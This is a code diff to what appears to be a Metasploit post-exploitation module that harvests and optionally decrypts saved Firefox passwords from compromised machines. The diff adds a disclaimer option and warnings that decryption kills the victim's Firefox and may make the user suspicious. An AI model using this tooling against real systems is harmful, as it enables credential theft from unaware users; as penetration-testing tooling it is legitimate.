@@ -27,14 +27,15 @@ def initialize(info={})
2727 keys3.db file which contains the key for decrypting these passwords. In cases where
2828 a Master Password has not been set, the passwords can easily be decrypted using
2929 third party tools or by setting the DECRYPT option to true. Using the latter often
30- needs root privileges. If a Master Password was used the only option would be
31- to bruteforce.
30+ needs root privileges. Also be warned that if your session dies in the middle of the
31+ file renaming process, this could leave Firefox in a non working state. If a
32+ Master Password was used the only option would be to bruteforce.
3233 } ,
3334 'License' => MSF_LICENSE ,
3435 'Author' =>
3536 [
36- 'bannedit' ,
37- 'xard4s' # added decryption support
37+ 'bannedit' ,
38+ 'xard4s' # added decryption support
3839 ] ,
3940 'Platform' => %w{ bsd linux osx unix win } ,
4041 'SessionTypes' => [ 'meterpreter' , 'shell' ]
@@ -45,6 +46,12 @@ def initialize(info={})
4546 OptBool . new ( 'DECRYPT' , [ false , 'Decrypts passwords without third party tools' , false ] )
4647 ]
4748 )
49+
50+ register_advanced_options (
51+ [
52+ OptBool . new ( 'DISCLAIMER' , [ false , 'Acknowledge the warning' , false ] )
53+ ]
54+ )
4855 #TODO
4956 # - Collect cookies.
5057 end
@@ -68,6 +75,13 @@ def run
6875 end
6976
7077 if datastore [ 'DECRYPT' ]
78+ if not datastore [ 'DISCLAIMER' ]
79+ print_warning ( "Decrypting the keys causes the possible remote Firefox process to be," )
80+ print_warning ( "killed. If the user is paying attention, this could make him/her suspicious." )
81+ print_warning ( "In order to proceed, set the advanced DISCLAIMER option to true." )
82+ return
83+ end
84+
7185 omnija = nil
7286 org_file = 'omni.ja'
7387 new_file = Rex ::Text ::rand_text_alpha ( 5 + rand ( 3 ) ) + ".ja"
@@ -104,6 +118,7 @@ def run
104118 return
105119 end
106120 print_status ( "Uploading #{ new_file } to #{ @paths [ 'ff' ] } " )
121+ print_warning ( "This takes some extra time" ) if @platform =~ /unix|osx/
107122 if not upload_file ( @paths [ 'ff' ] +new_file , tmp )
108123 print_error ( "Could not upload #{ new_file } " )
109124 return
0 commit comments